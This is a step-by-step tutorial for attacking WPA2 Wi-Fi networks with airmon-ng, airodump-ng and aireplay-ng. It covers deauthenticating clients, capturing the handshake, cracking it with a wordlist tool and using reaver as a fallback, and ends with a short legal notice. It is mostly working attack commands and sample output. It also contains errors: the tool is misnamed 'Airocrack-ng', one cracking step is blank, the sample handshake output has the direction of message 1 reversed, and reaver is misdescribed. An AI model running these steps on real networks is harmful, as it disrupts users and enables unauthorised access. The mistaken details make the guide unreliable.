🛠️ Airodump-ng Quick Guide: Scanning and Capturing Handshakes 💻

1️⃣ Enable Monitor Mode

```
-------------------------------------------------------
kali@linux:~$ airmon-ng
Interface   Chipset     Driver

kali@linux:~$ sudo airmon-ng check kill
[killing interfering processes] ☠️

kali@linux:~$ sudo airmon-ng start wlan0
Monitor mode enabled on wlan0mon 🚀
```

2️⃣ Scan Wi-Fi Networks

```
-------------------------------------------------------
kali@linux:~$ sudo airodump-ng wlan0mon
CH  6 ][ Elapsed: 00:00:15 ][ WPA2 ✨ ][ ESSID: TargetNet ]
BSSID              PWR  Beacons  #Data, #/s  CH  MB   ENC  CIPHER  AUTH
00:11:22:33:44:55  -45      120      43    2   6  54e  WPA2  CCMP    PSK 🔍
```

3️⃣ Focus on Your Network

```
-------------------------------------------------------
kali@linux:~$ sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w capture wlan0mon
[Capturing packets...] 📡
```

4️⃣ Capture WPA Handshake

```
-------------------------------------------------------
kali@linux:~$ sudo aireplay-ng --deauth 10 -a 00:11:22:33:44:55 wlan0mon
[Deauth sent] 🔫 [Clients reconnecting...]
```

💡 Watch for "WPA Handshake: [BSSID]" in airodump-ng window!

5️⃣ Verify Handshake

```
-------------------------------------------------------
kali@linux:~$ tshark -r capture-01.cap -Y 'eapol'
1   0.000000    STA → AP  EAPOL Key (Msg 1/4)
2   0.123456    AP  → STA EAPOL Key (Msg 2/4)
🔐 Handshake confirmed!
```

6️⃣ Stop airodump-ng

```
-------------------------------------------------------
[Press Ctrl + C] ⌨️
```

OR

```
kali@linux:~$ ps aux | grep airodump-ng
root     12345  0.5  ... airodump-ng ...

kali@linux:~$ kill -9 12345
[Process killed] ☠️
```

7️⃣ Cleanup

```
------------------------------------------------------
kali@linux:~$ sudo airmon-ng stop wlan0mon
Monitor mode disabled 🔁

kali@linux:~$ sudo systemctl start NetworkManager
[Network services restarted] 🌐
```

Cracking WPA Handshake with Airocrack-ng

1. Prepare the Capture File: Make sure you have the capture file from step 4, which contains the WPA handshake.

```
kali@linux:~$ airocrack-ng -w /path/to/wordlist capture-01.cap
```

2.
3. Wait for the Crack: Airocrack-ng will start cracking the WPA handshake using the provided wordlist. This process can take anywhere from a few minutes to several hours, depending on the strength of the password and the speed of your system.

Tips and Tricks

- Use a large, comprehensive wordlist for better chances of cracking the password.
- You can also use custom wordlists or dictionaries specific to the target network.
- Airocrack-ng can also be run in offline mode using a pre-computed password hash file.

Alternatively, if the wordlist method doesn't work, you can try (its a brute force attack):

```
kali@linux:~$ sudo reaver -i wlan0mon -b <BSSID> -c <channel> -vv
```

Keep in mind that cracking WPA handshakes is a resource-intensive process and may take a significant amount of time. Be patient and monitor the progress.

⚠️ Legal Notice:

Always have **explicit permission** to scan or capture Wi-Fi traffic.
Unauthorized access is **illegal**. 🚫